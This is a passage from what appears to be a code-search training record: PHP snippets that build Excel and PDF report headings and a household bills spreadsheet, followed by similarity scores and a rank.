$row;\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue($cellInd,'0.0');\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellInd)->getNumberFormat()\n\t\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellInd)->applyFromArray($fillRed);\n\t\n\t\t\t$cellFair = chr($col+1) . $row;\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellFair)->applyFromArray($fontRed);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellFair)->getNumberFormat()\n\t\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellFair)->applyFromArray($fillGray);\n\t\n\t\t\t$cellRent = chr($col+3) . $row;\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue($cellRent,'=SUM('. $cellFair .'-'. $cellInd .')');\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellRent)->applyFromArray($fontGreen);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellRent)->getNumberFormat()\n\t\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($cellInd)->applyFromArray($fillYellow);\n\t\n\t\t\t$array[$name]['cell'] = $cellInd;\n\t\t\t$row++;\n\t\t}\n\t\n\t\t//inserts the sum of the fair amounts to compare to the one below\n\t\t$endCell = chr($col+1) . ($row-1);\n\t\t$cell = chr($col+1) . $row;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'=SUM(B2:'.$endCell.')');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fontRed);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->getNumberFormat()\n\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillGray);\n\t\n\t\t//insert the rent check values\n\t\t$cell = chr($col+2) .$row;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'Rent');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fontBoldItalic);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillYellow);\n\t\t$cell = chr($col+3) . $row;\n\t\t$endCell = chr($col+3) .($row-1);\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'=SUM(D2:'.$endCell.')');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fontRedBold);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->getNumberFormat()\n\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillYellow);\n\t\n\t\t//inserts the bill and amount labels\n\t\t$row += 2;\n\t\t$cellMergeEnd = chr($col+1) . $row;\n\t\t$cell = chr($col) . $row++;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'House bills');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fontBoldItalicCenter);\n\t\t$objPHPExcel->getActiveSheet()->mergeCells($cell.':'.$cellMergeEnd);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillRed);\n\t\n\t\t$cell = chr($col) . $row;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'Bill');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fontBoldItalicCenter);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillGreen);\n\t\n\t\t$cell = chr($col+1) . $row++;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'Amount');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fontBoldItalicCenter);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillGreen);\n\t\n\t\n\t\t//inserts the bills\n\t\t$startCell = chr($col+1) . $row;\n\t\tforeach ($members as $member) {\n\t\t\t$name = $member->getUserFirstName();\n\t\t\t$col = 65;\n\t\t\t$bills = $member->getBills();\n\t\t\t$array[$name]['bills'] = [];\n\t\t\tforeach ($bills as $bill) {\n\t\t\t\t$desc = $bill->getBillDescription();\n\t\t\t\t$amount = $bill->getBillAmount();\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue(chr($col) . $row,$desc);\n\t\t\t\t$amountCell = chr($col+1) . $row++;\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue($amountCell,$amount);\n\t\t\t\t$objPHPExcel->getActiveSheet()->getStyle($amountCell)->getNumberFormat()\n\t\t\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t\t\tarray_push($array[$name]['bills'], $amountCell);\n\t\t\t\t\t\n\t\t\t}\n\t\t}\n\t\n\t\t$col = 65;\n\t\n\t\t//inserts rent\n\t\t$cell = chr($col) .$row;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'Rent');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillYellow);\n\t\n\t\t$cell = chr($col+1) . $row++;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,$rent);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->getNumberFormat()\n\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillYellow);\n\t\t$endCell = chr($col+1) . ($row-1);\n\t\n\t\t//inserts the total of bills\n\t\t$col = 65;\n\t\t$cell = chr($col) .$row;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'Total H-B');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fontRedBoldItalicCenter);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillCream);\n\t\n\t\t$cell = chr($col+1) .$row++;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell, '=SUM('. $startCell .':'. $endCell .')');\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fontRedBoldItalicCenter);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->getNumberFormat()\n\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillCream);\n\t\n\t\t//inserts the fair amount\n\t\t$cell = chr($col) .$row;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'Fair Amount if ' . $numberOfMembers);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillGray);\n\t\t$cell = chr($col+1) .$row;\n\t\t$objPHPExcel->getActiveSheet()\n\t\t->setCellValue($cell,'='. chr($col+1) .($row-1) . '/' . $numberOfMembers);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->getNumberFormat()\n\t\t->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_CURRENCY_USD_SIMPLE);\n\t\t$objPHPExcel->getActiveSheet()->getStyle($cell)->applyFromArray($fillGray);\n\t\t$fairAmountCell = chr($col+1) . $row;\n\t\n\t\t$row = 2;\n\t\tforeach ($members as $member) {\n\t\t\t$col = 66;\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue(chr($col) . $row++,'='. $fairAmountCell);\n\t\t}\n\t\n\t\t//inserts the individual bills\n\t\tforeach ($array as $value){\n\t\t\t$cell = $value['cell'];\n\t\t\t$sumOfBills = '';\n\t\t\t\t\n\t\t\tif (isset($value['bills'])) {\n\t\t\t\t$bills = $value['bills'];\n\t\t\t\t$counter = 1;\n\t\t\t\tforeach ($bills as $bill){\n\t\t\t\t\tif ($counter == 1){\n\t\t\t\t\t\t$sumOfBills .= $bill;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$sumOfBills .= '+' . $bill;\n\t\t\t\t\t}\n\t\t\t\t\t$counter++;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue($cell,'=SUM('. $sumOfBills . ')');\n\t\t}\n\t\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setAutoSize(true);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('C')->setAutoSize(true);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('D')->setAutoSize(true);\n\t\n\t\t// Rename worksheet\n\t\t$objPHPExcel->getActiveSheet()->setTitle($title);\n\t\n\t\t// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n\t\t$objPHPExcel->setActiveSheetIndex(0);\n\t\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t\t$objWriter->setPreCalculateFormulas(true);\n\t\t//$objWriter->save(str_replace('.php', '.xlsx', __FILE__));\n\t\t$objWriter->save(str_replace('.php', '.xlsx', $GLOBALS['ROOT_PATH']. 'spreadsheets/'. $title .'.php'));\n\t\n\t\treturn $title . '.xlsx';\n\t}", "function Header()\n\t{\n\t\t$this->SetFont('Arial','',12);\n\t\t$this->MultiCell(190,5,nombre_empresa(),'0','C');\n\t\t$this->SetFont('Arial','',10);\n\t\t$this->MultiCell(190,5,tipo_serv(),'0','C');\n\t\t$this->SetFont('Arial','B',10);\n\t\t$this->SetTextColor(0,0,0);\n\t\t$this->MultiCell(190,7,strtoupper(_('listado de clientes para cortes')),'0','C');\n\t\t$this->SetFont('Arial','B',8);\n\t\t$this->SetX(133);\n\t\t$this->Cell(12,5,strtoupper(_('fecha')).': ',0,0,'L');\n\t\t$this->SetFont('Arial','',8);\n\t\t$this->Cell(18,5,date(\"d/m/Y\"),0,0,'L');\n\t\t$this->SetFont('Arial','B',8);\n\t\t$this->Cell(12,5,strtoupper(_('hora')).': ',0,0,'L');\n\t\t$this->SetFont('Arial','',8);\n\t\t$this->Cell(18,5,date(\"h:i:s A\"),0,0,'L');\n\t\t$this->Ln();\t\t\n\t}", "private function _writeFrontSummaryDataCell($text)\n {\n $this->SetFont('', '');\n $this->setCellPaddings(8, '', '', '');\n $this->writeHTMLCell('', 10, $this->GetX(), $this->GetY() + 1.5, \"<u>{$text}</u>\", 0, 1, 0, true, 'L');\n }" ]
[ "0.73264945", "0.70815223", "0.7007866", "0.67580056", "0.674645", "0.6745417", "0.6561168", "0.6437269", "0.6393416", "0.63787043", "0.62641317", "0.6146946", "0.6116314", "0.61065143", "0.6032726", "0.59617656", "0.5914585", "0.5877544", "0.5800501", "0.5799833", "0.5794523", "0.5760014", "0.5739938", "0.57154274", "0.56842583", "0.56831014", "0.5677346", "0.56672186", "0.56593573", "0.5653213", "0.5586518", "0.5584172", "0.55789584", "0.55686766", "0.55658543", "0.55657506", "0.55632794", "0.55490434", "0.55487627", "0.5545434", "0.5539681", "0.55327314", "0.5531442", "0.5522755", "0.55142945", "0.5506469", "0.5503696", "0.54968184", "0.5494171", "0.5455221", "0.5453815", "0.5453614", "0.5451875", "0.54483473", "0.54430753", "0.5431945", "0.5428945", "0.5426749", "0.54247856", "0.5392038", "0.5378108", "0.53779876", "0.5368067", "0.5358907", "0.5355817", "0.53494656", "0.5342848", "0.53372985", "0.53332555", "0.5332571", "0.53280056", "0.53261095", "0.5319496", "0.5307918", "0.5301696", "0.5290013", "0.5289827", "0.5259416", "0.5255249", "0.52538294", "0.5252857", "0.52504426", "0.52480805", "0.52298266", "0.5228147", "0.52239037", "0.5210949", "0.52051675", "0.5199948", "0.51872665", "0.51849383", "0.5173208", "0.51708657", "0.5168343", "0.51661706", "0.5158774", "0.51554173", "0.51529056", "0.5150299", "0.5147502" ]
0.526898
77
Skills data excel headings
public static function excelSkillsHeadings() { return [ 'Skill type', 'Agriculture, Forestry and Fishing', 'Mining', 'Manufacturing', 'Electricity, Gas, Water and Waste Services', 'Construction', 'Wholesale trade', 'Retail trade', 'Accommodation and food services', 'Transport, Postal and Warehousing', 'Information media and telecommunications', 'Financial and insurance services', 'Rental, Hiring and Real Estate Services', 'Professional, Scientific and Technical Services', 'Administrative and support services', 'Public administration and safety', 'Education and training', 'Health care and social assistance', 'Arts and recreation services', 'Other services', 'South australia' ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function excelSkillsHeadingsMYSQL()\n {\n return [\n 'skills' => 'Skill type',\n 'agriculture' => 'Agriculture forestry and fishing',\n 'mining' => 'Mining',\n 'manufacturing' => 'Manufacturing',\n 'electricity' => 'Electricity gas water and waste services',\n 'construction' => 'Construction',\n 'w_trade' => 'Wholesale trade',\n 'r_trade' => 'Retail trade',\n 'accommodation' => 'Accommodation and food services',\n 'transport' => 'Transport postal and warehousing',\n 'ict' => 'Information media and telecommunications',\n 'financial' => 'Financial and insurance services',\n 'r_estate' => 'Rental hiring and real estate services',\n 'professional' => 'Professional scientific and technical services',\n 'admin' => 'Administrative and support services',\n 'public' => 'Public administration and safety',\n 'education' => 'Education and training',\n 'health' => 'Health care and social assistance',\n 'arts' => 'Arts and recreation services',\n 'o_services' => 'Other services',\n 'sa_state' => 'South australia'\n ];\n }", "public static function excelSkillsShortagesHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelIndustryHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Industry',\n 'Qualification type',\n// 'Employer size'\n ];\n }", "public static function excelSummaryHeadings()\n {\n return [\n 'Industry',\n 'Survey responses',\n 'Employer',\n 'Government body',\n 'Non-government organisation',\n 'Registered training organisation',\n 'Enterprise training provider',\n 'Group training organisation',\n 'Skills service organisation',\n 'Individual',\n 'Trade union',\n 'Industry Association/Peak body',\n 'Statutory authority',\n 'Self-employed',\n 'Not for profit',\n 'School or University',\n 'Other',\n 'Small',\n 'Medium',\n 'Large'\n ];\n }", "public static function excelSkillDemandHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelRecruitmentHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelMigrationHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n ];\n }", "public static function excelSkillingSaHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Industry',\n ];\n }", "public static function excelRetentionHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelStateHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Qualification type',\n 'Employer size'\n ];\n }", "public static function excelSummaryHeadingsMYSQL()\n {\n return [\n 'employer' => 'Employer',\n 'enterprise_t_p' => 'Enterprise training provider',\n 'government_body' => 'Government body',\n 'group_t_o' => 'Group training organisation',\n 'individual' => 'Individual',\n 'industry_a_p_b' => 'Industry association peak body',\n 'non_gov_body' => 'Non-government organisation',\n 'registered_t_o' => 'Registered training organisation',\n 'skills_s_o' => 'Skills service organisation',\n 'statutory_authority' => 'Statutory authority',\n 'trade_union' => 'Trade union',\n 'self_employed' => 'Self-employed',\n 'not_for_profit' => 'Not for profit',\n 'school_or_university' => 'School or University',\n ];\n }", "private function generateHeading()\n {\n //get current dimensions\n\t\t$highestRow = $this->objWorksheet->getHighestRow(); // e.g. 10\n\t\t$highestColumn = $this->objWorksheet->getHighestColumn(); // e.g 'F'\n\n\t\t$highestColumnIndex = PHPExcel_Cell::columnIndexFromString($highestColumn);\n\n\t\t//insert row on top\n\t\t$this->objWorksheet->insertNewRowBefore(1,2);\n\n\t\t//merge cells\n\t\t$this->objWorksheet->mergeCells(\"A1:\".$highestColumn.\"1\");\n\n\t\t//set the text for header\n\t\t$this->objWorksheet->setCellValue(\"A1\", $this->_headingText);\n\t\t$this->objWorksheet->getStyle('A1')->getAlignment()->setWrapText(true);\n\t\t$this->objWorksheet->getRowDimension('1')->setRowHeight(48);\n\n //Apply style\n\t\t$this->objWorksheet->getStyle(\"A1\")->applyFromArray($this->_headingStyleArray);\n }", "public static function excelActionsAndStrategiesHeadings()\n {\n return [\n 'Strategies and Actions',\n 'Status',\n 'Responsibility',\n 'Industry',\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow, $COM_LEVEL_SALP;\n\n\t\t$worksheet->set_column(0, 0, 6);\n\t\t$worksheet->set_column(1, 1, 20);\n\t\t$worksheet->set_column(2, 2, 25);\n\t\t$worksheet->set_column(3, 3, 50);\n\t\t$worksheet->set_column(4, 4, 15);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 15);\n\t\t$worksheet->set_column(7, 7, 15);\n\t\t$worksheet->set_column(8, 8, 35);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"เลขประจำตัวประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"ชื่อ-นามสกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ตำแหน่ง/สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"อัตราเงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"เงินตอบแทน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"ที่เต็มขั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ร้อยละ 2 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ร้อยละ 4 (บาท)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "abstract function getheadings();", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\n\t\t$worksheet->set_column(0, 0, 10);\n\t\t$worksheet->set_column(1, 1, 25);\n\t\t$worksheet->set_column(2, 2, 30);\n\t\t$worksheet->set_column(3, 3, 20);\n\t\t$worksheet->set_column(4, 4, 30);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 20);\n\t\t$worksheet->set_column(7, 7, 30);\n\t\t$worksheet->set_column(8, 8, 30);\n\t\t$worksheet->set_column(9, 9, 20);\n\t\t$worksheet->set_column(10, 10, 10);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"สาขาวิชา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"ระดับการศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"สถานศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 5, \"ประเทศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 6, \"ตำแหน่ง/ระดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ชื่อทุน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"ระยะเวลา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"จำนวนวัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t}", "protected function setHeaders()\n {\n $row = 1; \n $this->objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n \n $mergeCells = 'A' . $row . ':' . 'E' . $row;\n $this->setCellValue('A' . $row, \"Differences between files.\");\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getFont()->setBold(true);\n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n $this->objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Comparing by: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'C' . $row;\n $this->setCellValue('B' . $row, $this->getCompareTypeLabel()); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Configuration: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'M' . $row;\n $this->setCellValue('B' . $row, $this->settings['configuration']); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n $row += 5;\n $columns = $this->getColumns(); \n foreach ($columns as $columnName => $column) {\n $cell = $columnName . $row;\n $this->setCellValue($cell, $column['title']);\n $this->objPHPExcel->getActiveSheet()->getColumnDimension($columnName)->setAutoSize(true);\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n }\n \n return $row;\n }", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals, create_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals,\n\t\t\t\tcreate_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\t\tglobal $heading_name,$ORG_TITLE;\n\t\t\n\t\t$worksheet->set_column(0, 0, 5);\n\t\t$worksheet->set_column(1, 1, 40);\n\t\t$worksheet->set_column(2, 2, 27);\n\t\t$worksheet->set_column(3, 3, 25);\n\t\t$worksheet->set_column(4, 4, 12);\n\t\t$worksheet->set_column(5, 5, 5);\n\t\t$worksheet->set_column(6, 6, 4);\n\t\t$worksheet->set_column(7, 7, 4);\n\t\t$worksheet->set_column(8, 8, 4);\n\t\t$worksheet->set_column(9, 9, 4);\n\t\t$worksheet->set_column(10, 10, 4);\n\t\t$worksheet->set_column(11, 11, 4);\n\t\t$worksheet->set_column(12, 12, 18);\n\t\t$worksheet->set_column(13, 13, 25);\n\t\t$worksheet->set_column(14, 14, 5);\n\t\t$worksheet->set_column(15, 15, 8);\n\t\t$worksheet->set_column(16, 16, 28);\n\t\t$worksheet->set_column(17, 17, 15);\n\t\t$worksheet->set_column(18, 18, 20);\n\t\t$worksheet->set_column(19, 19, 12);\n\t\t$worksheet->set_column(20, 20, 8);\n\t\t$worksheet->set_column(21, 21, 12);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"(1)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"(2)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"(3)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"(4)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"(5)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"(6)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"(7)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"(8)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"(9)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"(10)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"(11)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"(12)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 17,\"(13)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"(14)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"(15)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"(16)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"(17)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อส่วนราชการ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"เลข\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\",0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", 